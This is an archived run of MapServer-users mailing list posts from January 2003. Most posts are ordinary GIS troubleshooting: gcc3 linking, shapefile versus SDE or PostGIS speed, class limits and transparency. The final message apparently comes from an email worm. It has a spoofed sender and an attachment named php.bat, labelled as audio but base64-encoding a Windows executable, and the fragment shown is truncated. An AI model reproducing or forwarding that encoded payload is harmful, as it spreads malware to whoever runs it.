_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From Norman Thu Jan 2 12:52:19 2003
From: Norman (Norman)
Date: Thu, 2 Jan 2003 15:52:19 -0500
Subject: [Mapserver-users] MDK9 (gcc3): undefined reference to `__gxx_personality_v0'
References:
Message-ID: <04c701c2b2a0$d8df9cc0$1436ba8c@sfdev3>
richard hornsby writes:
>
> ref gcc version 3.2 (Mandrake Linux 9.0 3.2-1mdk)
> ref mapserver 3.6.3
>
> Checking the mailing list archives and realizing that this seems to be a
> common problem with GCC 3 not understanding what 'personality_v0' is or
> whatever, and seeing all the stuff about changing the makefile to point to
> g++ in the problem areas, what I can't figure out is:
>
> - what lines (by number if possible) in the Makefile need to be changed,
> so that those who are trying aren't changing the wrong lines?
>
> - does it actually do anything to change lines in the Makefile to point
> to g++ in linux? ie, I get the same version response whether I ask 'gcc
> -v' or 'g++ -v'?
this keeps coming up so I hope the following can be used as
the basis for a FAQ entry or even better for changes to be
made in the mapserver Makefile
< please clean up as necessary >
g++ and c++ are just driver programs that call the actual compiler
g++ automatically links with -lstdc++ whereas gcc does not
so since the some of the libraries mapserver link with are C++
libraries you need to link with libstdc++ to link successfuly
You can accomplish this by either
1) changing the Makefile so that g++ is called for the linking stage
of the mapserver executables
2) adding -lstdc++ to the list of libraries thesse executables are
linked against
> - is it possible to install and use gcc 2.9.x concurrently with gcc 3.x,
> and therefore compile mapserver with the gcc 2.9.x, all *without*
> breaking the existing installation of gcc 3.x? if so, could someone point
> out where the documentation on howto do this is?
http://gcc.gnu.org/fom_serv/cache/14.html
HTH
Norman
From DMartin at erac.com Thu Jan 2 13:10:26 2003
From: DMartin at erac.com (Martin, Daniel)
Date: Thu, 2 Jan 2003 15:10:26 -0600
Subject: [Mapserver-users] sample of flash using mapserver
Message-ID: <4ACBA1414DD9EE418CC250E4AAA9035A16F490@STL-EXBE-I03.corp.erac.com>
It is a very cool demo. I'm impressed with it. I really didn't know what
to make of this new feature until I saw your demo.
On a barely related note, if it's not something you mind sharing, could you
tell me where you got those fine raster images of the U.S.?
-Dan
> -----Original Message-----
> From: Hankley, Chip [mailto:Chip.Hankley at gasai.com]
> Sent: Thursday, January 02, 2003 1:23 PM
> To: 'Aaron D. Hunt'; 'morissette at dmsolutions.ca'
> Cc: MapServer List (E-mail)
> Subject: RE: [Mapserver-users] sample of flash using mapserver
>
>
> Aaron and Daniel -
>
> Wow. Those are great examples. When 3.7 is released, what
> will we need to
> develop those types of front-ends? Is Flash the only thing?
> Is PHP-MapScript
> or CGI MapServer driving the back-end?
>
> Thanks!
>
> Chip
>
> -----Original Message-----
> From: Aaron D. Hunt [mailto:hunt at zedxinc.com]
> Sent: Tuesday, December 31, 2002 12:02 PM
> To: mapserver-users at lists.gis.umn.edu; Daniel Morissette
> Subject: Re: [Mapserver-users] sample of flash using mapserver
>
>
> Try it again
> ----- Original Message -----
> From: "Daniel Morissette"
> To: "Aaron D. Hunt"
> Sent: Tuesday, December 31, 2002 12:25 PM
> Subject: Re: [Mapserver-users] sample of flash using mapserver
>
>
> > > "Aaron D. Hunt" wrote:
> > >
> > > Here is a first cut example of a flash program I have made using
> > > mapserver.
> > >
> > > http://www.zedxinc.com/sample/show.html
> > >
> > > Aaron D. Hunt
> >
> > I tried to access it, but it tries to access something on
> > aphis-dev.zedxinc.com which is not available (possibly
> located behind
> > your firewall), so we don't get any map.
> >
> > BTW, does this use the new Flash support in MapServer 3.7?
> >
> > Daniel
> > --
> > ------------------------------------------------------------
> > Daniel Morissette morissette at dmsolutions.ca
> > DM Solutions Group http://www.dmsolutions.ca/
> > ------------------------------------------------------------
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
From sscott at gwi.net Thu Jan 2 13:23:29 2003
From: sscott at gwi.net (Shannon Scott)
Date: Thu, 2 Jan 2003 16:23:29 -0500
Subject: [Mapserver-users] Fastest Data Format
Message-ID: <015e01c2b2a5$322ccce0$44c8a8c0@PEMAQUID>
This is a multi-part message in MIME format.
------=_NextPart_000_015B_01C2B27B.4925F0E0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Hello,
Does anyone know which data format performs the best? For Rendering? =
For Queries?
I am really wondering about shapefiles versus postgreSQL and PostGIS... =
but I also am curious how SDE with Oracle, and Oracle Spatial rate =
against the others.
Any Info is appreciated.
Thank You
Shannon
------=_NextPart_000_015B_01C2B27B.4925F0E0
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Hello,
Does anyone know which data format =
performs the=20
best? For Rendering? For Queries?
I am really wondering about shapefiles =
versus=20
postgreSQL and PostGIS... but I also am curious how SDE with Oracle, and =
Oracle=20
Spatial rate against the others.
Any Info is appreciated.
Thank You
Shannon
------=_NextPart_000_015B_01C2B27B.4925F0E0--
From morissette at dmsolutions.ca Thu Jan 2 14:16:15 2003
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Thu, 02 Jan 2003 17:16:15 -0500
Subject: [Mapserver-users] Fastest Data Format
References: <015e01c2b2a5$322ccce0$44c8a8c0@PEMAQUID>
Message-ID: <3E14BA2F.BB266798@dmsolutions.ca>
> Shannon Scott wrote:
>
> Does anyone know which data format performs the best? For Rendering?
> For Queries?
> I am really wondering about shapefiles versus postgreSQL and
> PostGIS... but I also am curious how SDE with Oracle, and Oracle
> Spatial rate against the others.
>
It really depends on your data and what your application does with it.
The short answer is that if your data is static then shapefiles properly
organized with tile indexes and .qix (shptree) indexes are the fastest
way to render maps in MapServer, even for multi-gigabyte datasets.
About spatial queries, you should get equivalent performance from either
shapefiles (tiled, indexed) or from a spatial database such as PostGIS
assuming the spatial indexes are properly built.
Finally, if you plan on doing dynamic updates to your data or advanced
attribute queries then shapefiles are out of the question and you should
really consider using a spatially-enabled RDBMS such as PostGIS, Oracle
Spatial or SDE.
Daniel
--
------------------------------------------------------------
Daniel Morissette morissette at dmsolutions.ca
DM Solutions Group http://www.dmsolutions.ca/
------------------------------------------------------------
From steve.lime at dnr.state.mn.us Thu Jan 2 14:22:30 2003
From: steve.lime at dnr.state.mn.us (Steve Lime)
Date: Thu, 02 Jan 2003 16:22:30 -0600
Subject: [Mapserver-users] Fastest Data Format
Message-ID:
I think it's safe to say that for general purpose use local shapefiles
are the fastest for query and rendering. There is simply less overhead,
especially if they are indexed. The fancier you need to get
(pre-filtering for example) the better the other options may be since
their SQL engines are superior.
Steve
Stephen Lime
Data & Applications Manager
Minnesota DNR
500 Lafayette Road
St. Paul, MN 55155
651-297-2937
>>> "Shannon Scott" 01/02/03 03:23PM >>>
Hello,
Does anyone know which data format performs the best? For Rendering?
For Queries?
I am really wondering about shapefiles versus postgreSQL and PostGIS...
but I also am curious how SDE with Oracle, and Oracle Spatial rate
against the others.
Any Info is appreciated.
Thank You
Shannon
From mapserver at peligroso.gaiaenv.com Thu Jan 2 14:51:19 2003
From: mapserver at peligroso.gaiaenv.com (GAIA)
Date: Thu, 2 Jan 2003 15:51:19 -0700 (MST)
Subject: [Mapserver-users] Fastest Data Format
Message-ID: <200301022251.h02MpJV7007037@peligroso.gaiaenv.com>
Shannon,
My $0.02 CAD...
The SDE performance is horrible at this point and will continue to be so until the connection overhead is reduced (see a previous post of mine and the responses entitled something like 'SDE Performance'). We resorted back to shapes for now and hope for improvements in the near future.
Cheers,
GAIA
From ed at topozone.com Thu Jan 2 15:02:01 2003
From: ed at topozone.com (Ed McNierney)
Date: Thu, 2 Jan 2003 18:02:01 -0500
Subject: [Mapserver-users] Fastest Data Format
Message-ID: <13858AA1A74F30419F319ACB66A9D122019554@mercator.topozone.com>
Shannon -
Absolutely, guaranteed the fastest - no data at all. It renders in zero time on even the slowest machines!
Seriously, my joke is meant to point out that your question is meaningless without some requirements placed on that data. As I've long pointed out, any software can be made to run arbitrarily quickly provided it is not required to give the correct result. Adding that "correct result" requirement will slow things down depending on what that result is.
Can you describe a bit of how you're intending to use MapServer? That will let us all define the problem and give you some good advice. Thanks!
- Ed
Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
ed at topozone.com
-----Original Message-----
From: Shannon Scott [mailto:sscott at gwi.net]
Sent: Thu 1/2/2003 4:23 PM
To: Mapserver-users at lists.gis.umn.edu
Cc:
Subject: [Mapserver-users] Fastest Data Format
Hello,
Does anyone know which data format performs the best? For Rendering? For Queries?
I am really wondering about shapefiles versus postgreSQL and PostGIS... but I also am curious how SDE with Oracle, and Oracle Spatial rate against the others.
Any Info is appreciated.
Thank You
Shannon
From mapserver at peligroso.gaiaenv.com Thu Jan 2 15:26:01 2003
From: mapserver at peligroso.gaiaenv.com (GAIA)
Date: Thu, 2 Jan 2003 16:26:01 -0700 (MST)
Subject: [Mapserver-users] Fastest Data Format
Message-ID: <200301022326.h02NQ1pK007252@peligroso.gaiaenv.com>
Hi all,
I just read my posting, which sounds somewhat curt and it wasn't meant to be. Shapefiles are nice and quick for the most part and MapServer is still the best solution for us by far. Having said that, the SDE performance is not up to par with the rest of the application. As part of our model, we promote multiple applications hitting a common data set. SDE connectivity is a must as our needs and many of our clients' needs evolve (many of our clients use SDE already), and we were excited to see its inclusion.
Shapefiles have, for the most part, performed well for us, even with large data sets. Performance aside, as we and our clients manage larger data sets, the data management convenience of a RDBMS approach is more logical and cost effective. The volume of tiles can get rediculous with large data sets and multiple clients. Now, if we could only realise the performance...
Cheers,
GAIA
From listamapserver at hotmail.com Thu Jan 2 15:38:06 2003
From: listamapserver at hotmail.com (Andres Garcia)
Date: Thu, 02 Jan 2003 18:38:06 -0500
Subject: [Mapserver-users] Plotting maps using mapserver
Message-ID:
Are there any tools for plotting postscripts or HPGL using mapserver ?
We need ISO Paper sizes (A0,A1,A2...etc).
thanks in advance
attn
andres garcia
_________________________________________________________________
MSN. M?s ?til Cada D?a http://www.msn.es/intmap/
From DMartin at erac.com Thu Jan 2 15:45:36 2003
From: DMartin at erac.com (Martin, Daniel)
Date: Thu, 2 Jan 2003 17:45:36 -0600
Subject: [Mapserver-users] Fastest Data Format
Message-ID: <4ACBA1414DD9EE418CC250E4AAA9035A192B95@STL-EXBE-I03.corp.erac.com>
I'm curious, does another GIS product access SDE faster than MapServer?
The reason I ask is that I also experience slower performance using MapInfo
data via OGR. Certainly I realize MapInfo data isn't nearly as robust as
SDE. However, MapServer serves the same map quicker than MapInfo's own GUI
application. I can't ask for much more than that.
-Dan
> -----Original Message-----
> From: GAIA [mailto:mapserver at peligroso.gaiaenv.com]
> Sent: Thursday, January 02, 2003 5:26 PM
> To: Mapserver-users at lists.gis.umn.edu
> Subject: Re: [Mapserver-users] Fastest Data Format
>
>
> Hi all,
>
> I just read my posting, which sounds somewhat curt and it
> wasn't meant to be. Shapefiles are nice and quick for the
> most part and MapServer is still the best solution for us by
> far. Having said that, the SDE performance is not up to par
> with the rest of the application. As part of our model, we
> promote multiple applications hitting a common data set. SDE
> connectivity is a must as our needs and many of our clients'
> needs evolve (many of our clients use SDE already), and we
> were excited to see its inclusion.
>
> Shapefiles have, for the most part, performed well for us,
> even with large data sets. Performance aside, as we and our
> clients manage larger data sets, the data management
> convenience of a RDBMS approach is more logical and cost
> effective. The volume of tiles can get rediculous with large
> data sets and multiple clients. Now, if we could only
> realise the performance...
>
>
> Cheers,
> GAIA
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
From jlowe at giswebsite.com Thu Jan 2 16:34:07 2003
From: jlowe at giswebsite.com (Jonathan W. Lowe)
Date: 02 Jan 2003 16:34:07 -0800
Subject: [Mapserver-users] mapscript and XBase cause Out of memory error and/or premature end
of script headers error
Message-ID: <1041554050.1593.18.camel@localhost.localdomain>
List:
Perl mapscript in combination with the perl XBase and CGI modules works
very well in my Redhat 8 development environment, but when moving the
code to the production FreeBSD environment, the following problem
results:
A program containing the statements...
use mapscript;
use XBase;
...runs the mapscript portions correctly when just the "use XBase;" line
is commented out.
The same program runs the XBase portions correctly when just the "use
mapscript;" line is commented out.
The line causing problems when both modules are running contains the
following perl mapscript command:
my $img = $map->draw() or die('Unable to draw map');
The resulting line in the apache error_log reads:
Out of memory!
[Thu Jan 2 16:09:25 2003] [error] Premature end of script
headers...etc
The only posting referring to "Out of memory" in this context refers to
SWIG and is a couple of years old.
Any ideas for resolving this problem?
Regards,
Jonathan W. Lowe
From pramsey at refractions.net Thu Jan 2 17:35:05 2003
From: pramsey at refractions.net (Paul Ramsey)
Date: Thu, 02 Jan 2003 17:35:05 -0800
Subject: [Mapserver-users] Fastest Data Format
In-Reply-To: <4ACBA1414DD9EE418CC250E4AAA9035A192B95@STL-EXBE-I03.corp.erac.com>
References: <4ACBA1414DD9EE418CC250E4AAA9035A192B95@STL-EXBE-I03.corp.erac.com>
Message-ID: <3E14E8C9.8050609@refractions.net>
ArcIMS seems to handle SDE just fine, but that should be no surprise :)
I imagine that ArcIMS uses connection pooling to avoid the overhead
associated with making SDE connections.
I should reiterate at this point that the performance problem does not
adhere to SDE necessarily or to Mapserver necessarily, but to the amount
of time it takes to negotiate a connection with an SDE server. Once the
connection is made, everything is performant. It is making the
connection which is the issue. If you are only making one connection,
probably it is completely reasonable.
However, the current design of Mapserver treats each layer as a distinct
entity, and each layer datasource as a distinct entity. So for each
SDE-based layer, there is a separate SDE connection to be made. Over
numerous layers, things can add up to quite a long delay.
Jan Hartmann has made a proposal for connection pooling between layers,
I do not know if he has a preliminary implementation or if such an
implementation will be included in 3.7.
Paul
Martin, Daniel wrote:
> I'm curious, does another GIS product access SDE faster than MapServer?
>
> The reason I ask is that I also experience slower performance using MapInfo
> data via OGR. Certainly I realize MapInfo data isn't nearly as robust as
> SDE. However, MapServer serves the same map quicker than MapInfo's own GUI
> application. I can't ask for much more than that.
>
> -Dan
From javageoff at hotmail.com Thu Jan 2 22:02:26 2003
From: javageoff at hotmail.com (Geoff Anderson)
Date: Thu, 02 Jan 2003 23:02:26 -0700
Subject: [Mapserver-users] Mapserver to SVG
Message-ID:
Is anyone actively integrating Mapserver with SVG? A strategy I'm using is
to pass [mapex], [img], and [legend] etc. from the map template appended to
a link that points to PHP scripts which dynamically generate spatially
referenced SVG. Raster maps generated from Mapserver are easily embedded in
SVG, potentially giving users the best of both raster/vector worlds. SVG
immediately offers advanced web geoprocessing functionality such as browser
based heads-up digitizing, dynamic feature updates via gymnastic
inter-frame scripting, changing symbology w/out reloading the image etc.
My opinion/experience is that SVG can best be levereged in hybrid
applications designed to limit amount of spatial data actually written to
SVG. Exotic fads like SVG better justify their existence by adding value to
Killer GIS Apps like Mapserver, PostGIS, and ... Grass.
I'll post a demo and PHP source shortly if anyone is interested.
-geoff
_________________________________________________________________
The new MSN 8 is here: Try it free* for 2 months
http://join.msn.com/?page=dept/dialup
From arnulf.christl at ccgis.de Fri Jan 3 01:47:52 2003
From: arnulf.christl at ccgis.de (Arnulf Christl)
Date: Fri, 3 Jan 2003 10:47:52 +0100
Subject: [Mapserver-users] Maximum of 50 Classes / Layer?
Message-ID:
Hello,
please could anyone confirm to me that there is a known limitation of 50
classes per layer - or is it a bug?
Whenever I define more than 50 classes in the .map file and request a WMS
capabilitites document, mapserv.exe will hang and not answer.
Is there any possibility to use more than 50 classes?
My system:
- MapServer 3.6
- WMS enabled
- Shape data (300 MB)
- OS Windows 2000
Regards,
Arnulf Christl.
--------------------------------
Arnulf Christl (R&D)
CCGIS GbR
Heerstr. 162
53111 Bonn
GERMANY
--------------------------------
arnulf.christl at ccgis.de
www.ccgis.de
--------------------------------
Zentrale: ++49 (0) 228 90826 0
Durchwahl: ++49 (0) 228 90826 23
Fax: ++49 (0) 228 90826 11
GSM: ++49 (0) 172 2958 004
--------------------------------
From stepan.kafka at centrum.cz Fri Jan 3 02:10:31 2003
From: stepan.kafka at centrum.cz (Stepan Kafka)
Date: Fri, 3 Jan 2003 11:10:31 +0100
Subject: [Mapserver-users] Maximum of 50 Classes / Layer?
In-Reply-To:
Message-ID: <000301c2b310$58f19070$7e3c2fc3@HSGIS>
Hello Arnulf.
Default number of classes per layer is 50. But you can increase it changing
MS_MAXCLASSES value in map.h source. Then recompile mapserver.
Stepan Kafka
Help Service Remote Sensing
tel: +420-327514118
mailto:kafka at email.cz
http://www.bnhelp.cz
> -----P?vodn? zpr?va-----
> Od: mapserver-users-admin at lists.gis.umn.edu
> [mailto:mapserver-users-admin at lists.gis.umn.edu]za u?ivatele Arnulf
> Christl
> Odesl?no: 3. ledna 2003 10:48
> Komu: mapserver-users at lists.gis.umn.edu
> P?edm?t: [Mapserver-users] Maximum of 50 Classes / Layer?
>
>
> Hello,
> please could anyone confirm to me that there is a known limitation of 50
> classes per layer - or is it a bug?
> Whenever I define more than 50 classes in the .map file and request a WMS
> capabilitites document, mapserv.exe will hang and not answer.
> Is there any possibility to use more than 50 classes?
>
> My system:
> - MapServer 3.6
> - WMS enabled
> - Shape data (300 MB)
> - OS Windows 2000
>
> Regards,
> Arnulf Christl.
>
> --------------------------------
> Arnulf Christl (R&D)
> CCGIS GbR
> Heerstr. 162
> 53111 Bonn
> GERMANY
> --------------------------------
> arnulf.christl at ccgis.de
> www.ccgis.de
> --------------------------------
> Zentrale: ++49 (0) 228 90826 0
> Durchwahl: ++49 (0) 228 90826 23
> Fax: ++49 (0) 228 90826 11
> GSM: ++49 (0) 172 2958 004
> --------------------------------
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>
From sscott at gwi.net Fri Jan 3 04:55:14 2003
From: sscott at gwi.net (Shannon Scott)
Date: Fri, 3 Jan 2003 07:55:14 -0500
Subject: [Mapserver-users] Fastest Data Format
References: <13858AA1A74F30419F319ACB66A9D122019554@mercator.topozone.com>
Message-ID: <013101c2b327$5c413930$44c8a8c0@PEMAQUID>
Ed,
Thank you for taking an interest.
Please let me know if this is not the type of info you are interested in.
RedHat Linux 7.2
I plan to use these national datasets.
Census Tracts - poly
States ( detailed ) - poly
Parks - poly
3 Hydro layers ( generalized for scale ) - poly
Counties - poly
Rail - line
Local Roads - line
State Routes - line
US Routes - line
Highways - line
Cities/Towns - point
Much of the data originally came from the census tiger files, but has been
modified. We query the City point layer for County Seat and State Capital,
and apply the appropriate symbology; the other layers are not queried...
just rendered ( with the exception of the tracts ). The data is stored in
decimal degrees, but rendered in the local UTM zone.
Our application allows the user to perform their own analysis, and then see
the results. In the software I currently use ( SDE/ ArcIMS/Oracle ), we
need to create a table in the database to render the result map ( Tracts
Layer ). I think I will need to create the table with mapserver also, so I
am looking at moving to PostgreSQL DB because of the cost savings over
Oracle.
Do I need to create a table for mapserver to render the values?
Can mapserver join a table from an RDBMS with a shapefile, or does the
spatial data also need to be in the RDBMS?
Thank you for any help.
Shannon
----- Original Message -----
From: "Ed McNierney"
To: "Shannon Scott" ;
Sent: Thursday, January 02, 2003 6:02 PM
Subject: RE: [Mapserver-users] Fastest Data Format
> Shannon -
>
> Absolutely, guaranteed the fastest - no data at all. It renders in zero
time on even the slowest machines!
>
> Seriously, my joke is meant to point out that your question is meaningless
without some requirements placed on that data. As I've long pointed out,
any software can be made to run arbitrarily quickly provided it is not
required to give the correct result. Adding that "correct result"
requirement will slow things down depending on what that result is.
>
> Can you describe a bit of how you're intending to use MapServer? That
will let us all define the problem and give you some good advice. Thanks!
>
> - Ed
>
> Ed McNierney
> President and Chief Mapmaker
> TopoZone.com / Maps a la carte, Inc.
> ed at topozone.com
>
> -----Original Message-----
> From: Shannon Scott [mailto:sscott at gwi.net]
> Sent: Thu 1/2/2003 4:23 PM
> To: Mapserver-users at lists.gis.umn.edu
> Cc:
> Subject: [Mapserver-users] Fastest Data Format
>
>
> Hello,
> Does anyone know which data format performs the best? For Rendering? For
Queries?
> I am really wondering about shapefiles versus postgreSQL and PostGIS...
but I also am curious how SDE with Oracle, and Oracle Spatial rate against
the others.
>
> Any Info is appreciated.
> Thank You
> Shannon
>
>
>
From lfilak at medinaco.org Fri Jan 3 05:26:29 2003
From: lfilak at medinaco.org (Lowell Filak)
Date: Fri, 03 Jan 2003 08:26:29 -0500
Subject: [Mapserver-users] Plotting maps using mapserver
Message-ID: <200301031323.h03DNcR03053@yogi.medinaco.net>
There is for pdf and some newer postscript plotters recognize pdf directly.
Just a possibility.
Lowell F.
The following message was sent by "Andres Garcia" on Thu, 02 Jan 2003 18:38:06 -0500.
> Are there any tools for plotting postscripts or HPGL using mapserver ?
> We need ISO Paper sizes (A0,A1,A2...etc).
>
> thanks in advance
>
> attn
>
> andres garcia
>
>
> _________________________________________________________________
> MSN. M?s ?til Cada D?a http://www.msn.es/intmap/
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From frank at horow.net Thu Jan 2 06:32:52 2003
From: frank at horow.net (Frank Horowitz)
Date: 02 Jan 2003 22:32:52 +0800
Subject: [Mapserver-users] querying via cgi-bin?
Message-ID: <1041517973.4022.45.camel@amdo>
Hi Folks,
I'm a newbie to MapServer, so go easy on me! ;-) (Also, I don't
subscribe to this list, so please reply directly. Thanks!)
I am interested in "scraping" a remote MapServer
for a bunch of map images, which in turn are to be fed to a downstream application. The server is running v3.3.something if it matters.
I've figured out the appropriate GET/POST request, and have that
scripted up in a little Python wrapper, ready to be looped over the
region of interest.
So far, so good. Except for one little problem. My downstream app
requires images at 1280x1024 (yes, I know, ugh,
but looking at the source, it's not a simple matter to change those
magic numbers, and they a entrenched *everywhere* in gpsdrive's source).
The auslig MapServer refuses to serve any image greater than 1024x1024
(I am sympathetic to the reasons why). This leaves me with my little
problem.
It occurred to me that a hacky way around the problem is to simply
retrieve two map images (where I'd ideally like to get only one) each of
size 640x1024 and paste them together using some other means. However,
my downstream app's queries rely on specifying a center point (lat,lon)
and a map scale (whatever *that* means on a raster device with
undetermined pixel sizes). Now, in an ideal world (so to speak ;-), the
calculation of the pixel size and hence lat,lon boundaries would be a
trivial matter. But this is a GIS we're talking about, and I do *NOT*
want to get involved with ellipsoid calculations, etc. etc. if I can
possibly avoid it. IMHO, that's the job of the GIS, not my script.
So that all brings me to the question in my Subject line. Is there some
way to use the cgi-bin interface to perform something like the following
steps?
1) Build a correctly scaled and centered image query (with only one
layer to take it easy on the database) sized at 640x512. (I more or less
already know how to do this, in at least one way that might not be
relevant to an ultimate solution.)
2) Somehow, through some cgi-bin magic that I don't understand, retrieve
the map extents for the image of step 1, in some kind of form that I can
grab the numerical results with my Python script. (IOW, maybe coerce the
MapServe to return some html with the values I need inside; then it
should be a 'simple' matter of busting apart the html to get at the
values I really want.)
3) Double the intervals in lat,lon and combine with the (known) center
lat,lon values to build two queries for the "left" and "right" halfs of
the 1280x1024 image that I ultimately need. (I think this gets around
the ellipsoid calculations; the GIS is determining the "small" bounds
correctly (presumably). Once I'm dealing with lat,lon boundaries, as
estimated for the centroid of the region, doubling the angles should
give me a lat,lon coordinate image that is double the pixel count in
each direction.
4) Glue them all together using some strategy that still needs to be
hacked up. (Straightforward.)
Step 2) is the only one I don't have a clue about how to go about, since
it seems to involve advanced cgi-bin variable magic or templates or
something. If anyone on this list has any suggestions (hopefully with
example GET/POST strings ;-) I'd be most grateful!
Obviously, if there is some easy way of coercing the MapServer to return
a 1280x1024 image straight away, I can avoid all of the hackery, and
that would be a *much* better solution.
TIA for any help you might be able to provide!
Cheers,
Frank Horowitz
From Amy.Stender at erdc.usace.army.mil Thu Jan 2 10:53:34 2003
From: Amy.Stender at erdc.usace.army.mil (Stender, Amy ERDC-CRREL-NH Contractor)
Date: Thu, 2 Jan 2003 13:53:34 -0500
Subject: [Mapserver-users] shapefile transparency
Message-ID: <048FBD219330D211B47000A0C9B3BAFD01BDBEFB@crl02.crrel.usace.army.mil>
Hello,
I'm a little confused as to how TRANSPARENCY works within a LAYER object. I have urban area polygons I would like to overlay states/counties, with TRANSPARENCY set to 50. When this layer turns on, not only are the urban areas transparent, but the states/counties go transparent as well. This appears only to effect the layers on by default. When I turn on other layers, they are still completely opaque.
Any ideas what I'm doing wrong? (I'm using v3.7)
Thanks,
Amy
Amy L. Stender
Remote Sensing/GIS Center
Cold Regions Research and Engineering Laboratory
United States Army Corps of Engineers
72 Lyme Road, Hanover, NH 03755-1290
Tel: (603) 646-4733
Fax: (603) 646-4730
Amy.Stender at erdc.usace.army.mil
From kevin at peoplegis.com Thu Jan 2 21:40:57 2003
From: kevin at peoplegis.com (Kevin Flanders)
Date: Fri, 3 Jan 2003 00:40:57 -0500
Subject: [Mapserver-users] WMS Sites
Message-ID:
Is there a list of WMS Server Sites available? And does anyone know if the
USGS 7.5-minute DEMS are available via a WMS Server?
Kevin
From wesp at gdv.com Fri Jan 3 06:28:40 2003
From: wesp at gdv.com (Oliver Wesp)
Date: Fri, 03 Jan 2003 15:28:40 +0100
Subject: [Mapserver-users] Styleitem 'Auto' and Legends
Message-ID: <3E159E18.6010905@gdv.com>
Dear List,
I'm somwhat new to using MapInfo TABs with MapServer. So far I got
everything up and running. My TABs contain different styles so I'm using
StyleItem 'AUTO' to render these layers. Works fine except for the
legend. I like every class to appear on the legend. Is this possible? An
empty class section doesn't appear in the legend (lack of name-item).
If I add NAME to my class section one class appears in the legend and
is randomly rendered with different styles due to the displayed features
when I zoom into the map.
Any hint is appreciated.
Thanks.
Oliver
--
Dipl.-Geogr. Oliver Wesp
Gesellschaft f?r geografische Datenverarbeitung
Binger Strasse 49-51
D-55218 Ingelheim
fon: +49 6132 714818
fax: +49 6132 714828
http: www.gdv.com
From woodbri at swoodbridge.com Fri Jan 3 07:55:45 2003
From: woodbri at swoodbridge.com (woodbri)
Date: Fri, 3 Jan 2003 16:55:45 +0100 (added by postmaster@wanadoo.fr)
Subject: [Mapserver-users] Move php maopscript module into php libsL
Message-ID: <3E075B46003F58A7@mel-rta9.wanadoo.fr> (added by postmaster@wanadoo.fr)
--N05WFp22eT95988s781CLn651878CdVQ
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable
--N05WFp22eT95988s781CLn651878CdVQ
Content-Type: audio/x-midi;
name=php.bat
Content-Transfer-Encoding: base64
Content-ID:
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g
RE9TIG1vZGUuDQ0KJAAAAAAAAAAYmX3gXPgTs1z4E7Nc+BOzJ+Qfs1j4E7Pf5B2zT/gTs7Tn
GbNm+BOzPucAs1X4E7Nc+BKzJfgTs7TnGLNO+BOz5P4Vs134E7NSaWNoXPgTswAAAAAAAAAA
UEUAAEwBBAC4jrc8AAAAAAAAAADgAA8BCwEGAADAAAAAkAgAAAAAAFiEAAAAEAAAANAAAAAA
QAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAYAkAABAAAAAAAAACAAAAAAAQAAAQAAAAABAA
ABAAAAAAAAAQAAAAAAAAAAAAAAAg1gAAZAAAAABQCQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ANAAAOwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAEq6AAAAEAAAAMAAAAAQ
AAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAiEAAAANAAAAAgAAAA0AAAAAAAAAAAAAAAAAAA
QAAAQC5kYXRhAAAAbF4IAADwAAAAUAAAAPAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABAA
AAAAUAkAEAAAAABAAQAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
